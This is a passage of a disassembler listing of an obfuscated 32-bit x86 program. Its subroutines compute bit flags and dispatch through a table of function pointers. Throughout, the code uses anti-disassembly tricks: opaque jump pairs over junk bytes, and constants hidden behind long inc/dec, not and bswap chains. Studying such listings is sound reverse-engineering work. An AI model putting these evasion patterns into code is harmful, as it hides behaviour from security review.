		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3DC
		xor	ecx, dword_4ED3E0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49C736
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49C736:				; CODE XREF: sub_49C675+B6j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D34
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49C675	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C74A	proc near		; DATA XREF: sub_4965D8+20Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DDC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 3
		dec	dh
		jo	short loc_49C774
		jl	short loc_49C772


loc_49C76F:				; CODE XREF: sub_49C74A:loc_49C772j
					; sub_49C74A:loc_49C774j
		jmp	short loc_49C776
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49C772:				; CODE XREF: sub_49C74A+23j
		jz	short loc_49C76F


loc_49C774:				; CODE XREF: sub_49C74A+21j
		jmp	short loc_49C76F
; ---------------------------------------------------------------------------


loc_49C776:				; CODE XREF: sub_49C74A:loc_49C76Fj
		push	eax
		and	eax, 80h
		bswap	eax
		not	eax
		pop	eax
		sub	dh, 2
		jo	short loc_49C78D
		jl	short loc_49C78B


loc_49C788:				; CODE XREF: sub_49C74A:loc_49C78Bj
					; sub_49C74A:loc_49C78Dj
		jmp	short loc_49C78F
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49C78B:				; CODE XREF: sub_49C74A+3Cj
		jz	short loc_49C788


loc_49C78D:				; CODE XREF: sub_49C74A+3Aj
		jmp	short loc_49C788
; ---------------------------------------------------------------------------


loc_49C78F:				; CODE XREF: sub_49C74A:loc_49C788j
		and	ah, dh
		mov	dl, 4
		dec	dl
		sub	dl, 2
		dec	dl
		sub	dl, 0FFh
		and	al, dl
		not	ah
		bswap	eax
		bswap	eax
		not	ah
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED40C
		xor	ecx, dword_4ED410
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49C7D0
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49C7D0:				; CODE XREF: sub_49C74A+7Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D64
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49C74A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C7E4	proc near		; DATA XREF: sub_4965D8+855o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 80h
		jmp	short loc_49C80D
; ---------------------------------------------------------------------------
		mov	ebx, 4


loc_49C80D:				; CODE XREF: sub_49C7E4+22j
		mov	ebx, 0A4h
		xor	ebx, 96h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		add	ebx, 5
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED400
		xor	ecx, dword_4ED404
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49C85F
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49C85F:				; CODE XREF: sub_49C7E4+70j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D58
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49C7E4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C873	proc near		; DATA XREF: sub_4965D8+CFo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DCC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0AFh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 300h
		inc	dh
		inc	dh
		dec	dh
		inc	dh
		inc	dh
		inc	dh
		inc	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		jo	short loc_49C93A
		jl	short loc_49C938


loc_49C935:				; CODE XREF: sub_49C873:loc_49C938j
					; sub_49C873:loc_49C93Aj
		jmp	short loc_49C93C
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49C938:				; CODE XREF: sub_49C873+C0j
		jz	short loc_49C935


loc_49C93A:				; CODE XREF: sub_49C873+BEj
		jmp	short loc_49C935
; ---------------------------------------------------------------------------


loc_49C93C:				; CODE XREF: sub_49C873:loc_49C935j
		cmp	eax, edx
		jz	short loc_49C953
		jo	short loc_49C94B
		jl	short loc_49C949


loc_49C944:				; CODE XREF: sub_49C873:loc_49C949j
					; sub_49C873:loc_49C94Bj
		jmp	short loc_49C94D
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49C949:				; CODE XREF: sub_49C873+CFj
		jz	short loc_49C944


loc_49C94B:				; CODE XREF: sub_49C873+CDj
		jmp	short loc_49C944
; ---------------------------------------------------------------------------


loc_49C94D:				; CODE XREF: sub_49C873:loc_49C944j
		and	eax, 0
		inc	eax
		jmp	short loc_49C956
; ---------------------------------------------------------------------------


loc_49C953:				; CODE XREF: sub_49C873+CBj
		and	eax, 0


loc_49C956:				; CODE XREF: sub_49C873+DEj
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3FC
		xor	ecx, dword_4ED400
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49C979
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49C979:				; CODE XREF: sub_49C873+FBj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D54
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49C873	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C98D	proc near		; DATA XREF: sub_4965D8+553o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 80h
		jmp	short loc_49C9B6
; ---------------------------------------------------------------------------
		mov	ebx, 4


loc_49C9B6:				; CODE XREF: sub_49C98D+22j
		mov	ebx, 32h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		jo	short loc_49C9CB
		jl	short loc_49C9C9


loc_49C9C6:				; CODE XREF: sub_49C98D:loc_49C9C9j
					; sub_49C98D:loc_49C9CBj
		jmp	short loc_49C9CD
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49C9C9:				; CODE XREF: sub_49C98D+37j
		jz	short loc_49C9C6


loc_49C9CB:				; CODE XREF: sub_49C98D+35j
		jmp	short loc_49C9C6
; ---------------------------------------------------------------------------


loc_49C9CD:				; CODE XREF: sub_49C98D:loc_49C9C6j
		inc	ebx
		inc	ebx
		add	ebx, 7
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		jo	short loc_49C9E7
		jl	short loc_49C9E5


loc_49C9E2:				; CODE XREF: sub_49C98D:loc_49C9E5j
					; sub_49C98D:loc_49C9E7j
		jmp	short loc_49C9E9
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_49C9E5:				; CODE XREF: sub_49C98D+53j
		jz	short loc_49C9E2


loc_49C9E7:				; CODE XREF: sub_49C98D+51j
		jmp	short loc_49C9E2
; ---------------------------------------------------------------------------


loc_49C9E9:				; CODE XREF: sub_49C98D:loc_49C9E2j
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED408
		xor	ecx, dword_4ED40C
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49CA14
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49CA14:				; CODE XREF: sub_49C98D+7Cj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D60
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49C98D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CA28	proc near		; DATA XREF: sub_4965D8+4B4o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	ebx
		jo	short loc_49CA3E
		jl	short loc_49CA3C


loc_49CA39:				; CODE XREF: sub_49CA28:loc_49CA3Cj
					; sub_49CA28:loc_49CA3Ej
		jmp	short loc_49CA40
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_49CA3C:				; CODE XREF: sub_49CA28+Fj
		jz	short loc_49CA39


loc_49CA3E:				; CODE XREF: sub_49CA28+Dj
		jmp	short loc_49CA39
; ---------------------------------------------------------------------------


loc_49CA40:				; CODE XREF: sub_49CA28:loc_49CA39j
		mov	ebx, 4
		and	eax, ebx
		push	ecx
		mov	ch, 10h
		sub	ch, 1
		dec	ch
		dec	ch
		dec	ch
		jo	short loc_49CA5C
		jl	short loc_49CA5A


loc_49CA57:				; CODE XREF: sub_49CA28:loc_49CA5Aj
					; sub_49CA28:loc_49CA5Cj
		jmp	short loc_49CA5E
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_49CA5A:				; CODE XREF: sub_49CA28+2Dj
		jz	short loc_49CA57


loc_49CA5C:				; CODE XREF: sub_49CA28+2Bj
		jmp	short loc_49CA57
; ---------------------------------------------------------------------------


loc_49CA5E:				; CODE XREF: sub_49CA28:loc_49CA57j
		dec	ch
		dec	ch
		mov	ebx, [ebp+arg_4]
		dec	esi
		dec	edi
		dec	edi
		xor	edx, edx
		or	ebx, edx
		jo	short loc_49CA75
		jl	short loc_49CA73


loc_49CA70:				; CODE XREF: sub_49CA28:loc_49CA73j
					; sub_49CA28:loc_49CA75j
		jmp	short loc_49CA77
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49CA73:				; CODE XREF: sub_49CA28+46j
		jz	short loc_49CA70


loc_49CA75:				; CODE XREF: sub_49CA28+44j
		jmp	short loc_49CA70
; ---------------------------------------------------------------------------


loc_49CA77:				; CODE XREF: sub_49CA28:loc_49CA70j
		jz	short loc_49CA95
		dec	edi
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		sub	ch, 8
		and	eax, 0
		jo	short loc_49CA91
		jl	short loc_49CA8F


loc_49CA8C:				; CODE XREF: sub_49CA28:loc_49CA8Fj
					; sub_49CA28:loc_49CA91j
		jmp	short loc_49CA93
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_49CA8F:				; CODE XREF: sub_49CA28+62j
		jz	short loc_49CA8C


loc_49CA91:				; CODE XREF: sub_49CA28+60j
		jmp	short loc_49CA8C
; ---------------------------------------------------------------------------


loc_49CA93:				; CODE XREF: sub_49CA28:loc_49CA8Cj
		jmp	short loc_49CAAC
; ---------------------------------------------------------------------------


loc_49CA95:				; CODE XREF: sub_49CA28:loc_49CA77j
		dec	edi
		dec	ecx
		sub	ch, 2
		dec	ch
		dec	ch
		sub	ch, 8
		and	eax, 0
		dec	ecx
		sub	ch, 2
		dec	ch
		dec	edx
		inc	eax


loc_49CAAC:				; CODE XREF: sub_49CA28:loc_49CA93j
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED3B8
		xor	eax, dword_4ED3BC
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_49CACE
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_49CACE:				; CODE XREF: sub_49CA28+9Bj
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D10
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49CA28	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CAE2	proc near		; DATA XREF: sub_4965D8+5DBo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 4Bh
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		add	ecx, 3
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3D4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49CB73
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49CB73:				; CODE XREF: sub_49CAE2+86j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49CAE2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CB87	proc near		; DATA XREF: sub_4965D8+CD9o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 6
		dec	dh
		jo	short loc_49CBB1
		jl	short loc_49CBAF


loc_49CBAC:				; CODE XREF: sub_49CB87:loc_49CBAFj
					; sub_49CB87:loc_49CBB1j
		jmp	short loc_49CBB3
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49CBAF:				; CODE XREF: sub_49CB87+23j
		jz	short loc_49CBAC


loc_49CBB1:				; CODE XREF: sub_49CB87+21j
		jmp	short loc_49CBAC
; ---------------------------------------------------------------------------


loc_49CBB3:				; CODE XREF: sub_49CB87:loc_49CBACj
		sub	dh, 2
		push	eax
		mov	eax, 800h
		bswap	eax
		not	eax
		pop	eax
		sub	dh, 3
		and	ah, dh
		mov	dl, 4
		dec	dl
		sub	dl, 2
		dec	dl
		sub	dl, 0FFh
		and	al, dl
		not	ah
		bswap	eax
		bswap	eax
		not	ah
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED410
		xor	ecx, dword_4ED414
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49CC00
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49CC00:				; CODE XREF: sub_49CB87+6Ej
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D68
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49CB87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CC14	proc near		; DATA XREF: sub_4965D8+B8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DDC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 8
		dec	bh
		dec	bh
		sub	bh, 2
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 80h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jnz	loc_49CD81
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 1
		dec	bh
		and	eax, 41h
		bswap	ecx
		pop	eax
		bswap	ecx
		jo	short loc_49CCAC
		jl	short loc_49CCAA


loc_49CCA5:				; CODE XREF: sub_49CC14:loc_49CCAAj
					; sub_49CC14:loc_49CCACj
		jmp	short loc_49CCAE
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49CCAA:				; CODE XREF: sub_49CC14+8Fj
		jz	short loc_49CCA5


loc_49CCAC:				; CODE XREF: sub_49CC14+8Dj
		jmp	short loc_49CCA5
; ---------------------------------------------------------------------------


loc_49CCAE:				; CODE XREF: sub_49CC14:loc_49CCA5j
		and	ah, bh
		jo	short loc_49CCBB
		jl	short loc_49CCB9


loc_49CCB4:				; CODE XREF: sub_49CC14:loc_49CCB9j
					; sub_49CC14:loc_49CCBBj
		jmp	short loc_49CCBD
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49CCB9:				; CODE XREF: sub_49CC14+9Ej
		jz	short loc_49CCB4


loc_49CCBB:				; CODE XREF: sub_49CC14+9Cj
		jmp	short loc_49CCB4
; ---------------------------------------------------------------------------


loc_49CCBD:				; CODE XREF: sub_49CC14:loc_49CCB4j
		mov	bl, 97h
		sub	bl, 3
		jo	short loc_49CCCD
		jl	short loc_49CCCB


loc_49CCC6:				; CODE XREF: sub_49CC14:loc_49CCCBj
					; sub_49CC14:loc_49CCCDj
		jmp	short loc_49CCCF
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49CCCB:				; CODE XREF: sub_49CC14+B0j
		jz	short loc_49CCC6


loc_49CCCD:				; CODE XREF: sub_49CC14+AEj
		jmp	short loc_49CCC6
; ---------------------------------------------------------------------------


loc_49CCCF:				; CODE XREF: sub_49CC14:loc_49CCC6j
		sub	bl, 0Ah
		dec	bl
		dec	bl
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_49CD08
		jl	short loc_49CD06


loc_49CD01:				; CODE XREF: sub_49CC14:loc_49CD06j
					; sub_49CC14:loc_49CD08j
		jmp	short loc_49CD0A
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49CD06:				; CODE XREF: sub_49CC14+EBj
		jz	short loc_49CD01


loc_49CD08:				; CODE XREF: sub_49CC14+E9j
		jmp	short loc_49CD01
; ---------------------------------------------------------------------------


loc_49CD0A:				; CODE XREF: sub_49CC14:loc_49CD01j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		jo	short loc_49CD3B
		jl	short loc_49CD39


loc_49CD34:				; CODE XREF: sub_49CC14:loc_49CD39j
					; sub_49CC14:loc_49CD3Bj
		jmp	short loc_49CD3D
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49CD39:				; CODE XREF: sub_49CC14+11Ej
		jz	short loc_49CD34


loc_49CD3B:				; CODE XREF: sub_49CC14+11Cj
		jmp	short loc_49CD34
; ---------------------------------------------------------------------------


loc_49CD3D:				; CODE XREF: sub_49CC14:loc_49CD34j
		sub	dh, 7
		jo	short loc_49CD4B
		jl	short loc_49CD49


loc_49CD44:				; CODE XREF: sub_49CC14:loc_49CD49j
					; sub_49CC14:loc_49CD4Bj
		jmp	short loc_49CD4D
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49CD49:				; CODE XREF: sub_49CC14+12Ej
		jz	short loc_49CD44


loc_49CD4B:				; CODE XREF: sub_49CC14+12Cj
		jmp	short loc_49CD44
; ---------------------------------------------------------------------------


loc_49CD4D:				; CODE XREF: sub_49CC14:loc_49CD44j
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49CD62
		jl	short loc_49CD60


loc_49CD5B:				; CODE XREF: sub_49CC14:loc_49CD60j
					; sub_49CC14:loc_49CD62j
		jmp	short loc_49CD64
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49CD60:				; CODE XREF: sub_49CC14+145j
		jz	short loc_49CD5B


loc_49CD62:				; CODE XREF: sub_49CC14+143j
		jmp	short loc_49CD5B
; ---------------------------------------------------------------------------


loc_49CD64:				; CODE XREF: sub_49CC14:loc_49CD5Bj
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49CD73
		jl	short loc_49CD71


loc_49CD6E:				; CODE XREF: sub_49CC14:loc_49CD71j
					; sub_49CC14:loc_49CD73j
		jmp	short loc_49CD75
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49CD71:				; CODE XREF: sub_49CC14+158j
		jz	short loc_49CD6E


loc_49CD73:				; CODE XREF: sub_49CC14+156j
		jmp	short loc_49CD6E
; ---------------------------------------------------------------------------


loc_49CD75:				; CODE XREF: sub_49CC14:loc_49CD6Ej
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49CD81
		and	eax, 0
		inc	eax
		jmp	short loc_49CD84
; ---------------------------------------------------------------------------


loc_49CD81:				; CODE XREF: sub_49CC14+6Ej
					; sub_49CC14+165j
		and	eax, 0


loc_49CD84:				; CODE XREF: sub_49CC14+16Bj
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED40C
		xor	ecx, dword_4ED410
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49CDA7
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49CDA7:				; CODE XREF: sub_49CC14+188j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D64
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49CC14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CDBB	proc near		; DATA XREF: sub_4965D8+104Do

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D88
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 10h
		dec	bh
		dec	bh
		dec	al
		dec	bh
		dec	bh
		dec	al
		dec	bh
		dec	al
		dec	al
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	al
		dec	bh
		dec	bh
		dec	al
		dec	al
		dec	bh
		dec	bh
		dec	al
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 8Ch
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 3
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B8
		xor	ecx, dword_4ED3BC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49CE7C
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49CE7C:				; CODE XREF: sub_49CDBB+B6j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D10
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49CDBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CE90	proc near		; DATA XREF: sub_4965D8+16Do

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D84
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, 4
		bswap	eax
		not	eax
		pop	eax
		push	edx
		mov	dh, 80h
		mov	dh, 0
		inc	dh
		mov	ecx, ecx
		inc	dh
		inc	dh
		dec	edi
		inc	dh
		dec	edi
		inc	dh
		jo	short loc_49CED3
		jl	short loc_49CED1


loc_49CECE:				; CODE XREF: sub_49CE90:loc_49CED1j
		jmp	short loc_49CED5
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49CED1:				; CODE XREF: sub_49CE90+3Cj
		jz	short loc_49CECE


loc_49CED3:				; CODE XREF: sub_49CE90+3Aj
		jmp	short near ptr loc_49CF27+1
; ---------------------------------------------------------------------------


loc_49CED5:				; CODE XREF: sub_49CE90:loc_49CECEj
		inc	dh
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
